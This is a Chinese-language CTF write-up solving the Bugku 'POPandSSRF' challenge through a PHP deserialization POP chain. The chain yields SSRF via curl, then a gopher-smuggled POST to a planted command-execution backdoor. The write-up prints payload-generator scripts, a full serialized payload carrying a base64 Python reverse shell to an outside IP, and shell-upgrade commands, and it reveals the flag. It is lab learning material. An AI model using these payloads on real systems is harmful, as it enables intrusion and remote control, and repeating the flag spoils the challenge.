bugku-POPandSSRF题解

POP构造

访问页面直接是一个POP构造题:hint.php直接访问是Only local administrators can get something

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
include("waf.php");
class A{
public $source;
public $str;
public function __construct(){
echo 'Welcome to index.php'."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class B{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

class C{
protected $var;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_exec($ch);
}
public function __invoke(){
$this->curl($this->var);
}
}

if(isset($_POST['pop'])){
@unserialize($_POST['pop']);
}
else{
highlight_file(__FILE__);
#hint.php
}
?>

利用点比较明显:curl_exec($ch);,加上过滤了gopher等等关键字和题目名,就是打SSRF了。梳理一下链子怎么构造:class B提供了一个__get用来call function,class A提供了一个__toString来调用$str对象的属性,这里如何绕过preg_match?,很简单,class A的__toString调用的是$this->str->source,而不是$this->source,那么将$this->str设置为另一个A类的实例即可,所以

1
2
3
4
5
6
7
8
A::__wakeup()
-> preg_match($this->source)
-> 如果 source 是对象,触发 A::__toString()
-> $this->str->source
-> B::__get()
-> $function()
-> C::__invoke()
-> C::curl($this->var)

可以构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class A{
public $source;
public $str;
}
class B{
public $p;
}
class C{
protected $var;
}

$a1 = new A();
$a2 = new A();
$b = new B();
$c = new C();

$a1->source = $a2;
$a2->str = $b;
$b->p = $c;

$ref = new ReflectionClass($c);
$prop = $ref->getProperty("var");
$prop->setAccessible(true);
$prop->setValue($c, "file:///var/www/html/hint.php");

echo urlencode(serialize($a1));

读取到hint:拿到作者埋的shell,那现在就要带上5hell参数,用gopher协议即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$ip = $_SERVER["REMOTE_ADDR"];
if ($ip != "127.0.0.1")
{
die("Only local administrators can get something\n");
}
else
{
echo "Maybe you should read this file";
#hint1:readflag文件是从某个CTF平台的动态加载器拿过来的
#hint2:但是这个readflag并没有被root用户运行过额,动态加载器的方法用不了额,这可怎么办呢
#hint3:此题不需要提权
system($_POST['5hell']);
}

GetShell

这里折腾了很久,一直在尝试写webshell,发现只有/tmp目录可写,说明web目录没有写入权限,尝试反弹shell,这里用base64编码一下比较好,直接urlencode容易在反序列化的时候统计错误字符个数。选择python也是因为直接bash不成功,所以ls /usr/bin看了一下能够用的程序,php应该也能弹。

payload生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A { public $source; public $str; }
class B { public $p; }
class C { protected $var; }

$a1 = new A();
$a2 = new A();
$b = new B();
$c = new C();

// 用 base64 编码 Python 命令
$pythonCmd = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])';
$b64Cmd = base64_encode($pythonCmd);
$body = "5hell=echo $b64Cmd | base64 -d | python3";
$encodedBody = urlencode($body);
$realBodyLen = strlen($body);

$url = "gopher://127.0.0.1:80/_POST%20/hint.php%20HTTP/1.0%0D%0AHost:%20127.0.0.1%0D%0AConnection:%20close%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%20" . $realBodyLen . "%0D%0A%0D%0A" . $encodedBody;

$ref = new ReflectionClass($c);
$prop = $ref->getProperty("var");
$prop->setAccessible(true);
$prop->setValue($c, $url);

$a1->source = $a2;
$a2->str = $b;
$b->p = $c;

echo urlencode(serialize($a1));
?>
1
2
?pop=
O%3A1%3A%22A%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A515%3A%22gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Fhint.php%2520HTTP%2F1.0%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%3A%2520317%250D%250A%250D%250A5hell%253Decho%2BaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjQ3LjkzLjI1NC4zMSIsNzc3NykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vYmFzaCIsIi1pIl0p%2B%257C%2Bbase64%2B-d%2B%257C%2Bpython3%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

获取实时shell:

1
2
3
python3 -c 'import pty;pty.spawn("/bin/bash");' # 靶机
CTRL + Z # 靶机
stty raw -echo;fg #攻击机

直接读取flag没有权限,作者说不用提权,那就研究一下/readflag

1
2
file /readflag
/readflag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=076bc9f27e5a724b1bfc3dc13fad0c8924737e51, not stripped

base64 /readflag读取出来,然后解码一下:

找到/opt/config.conf,研究一下,居然直接出了,flag{f09402a5258a3c955743121d581592fe}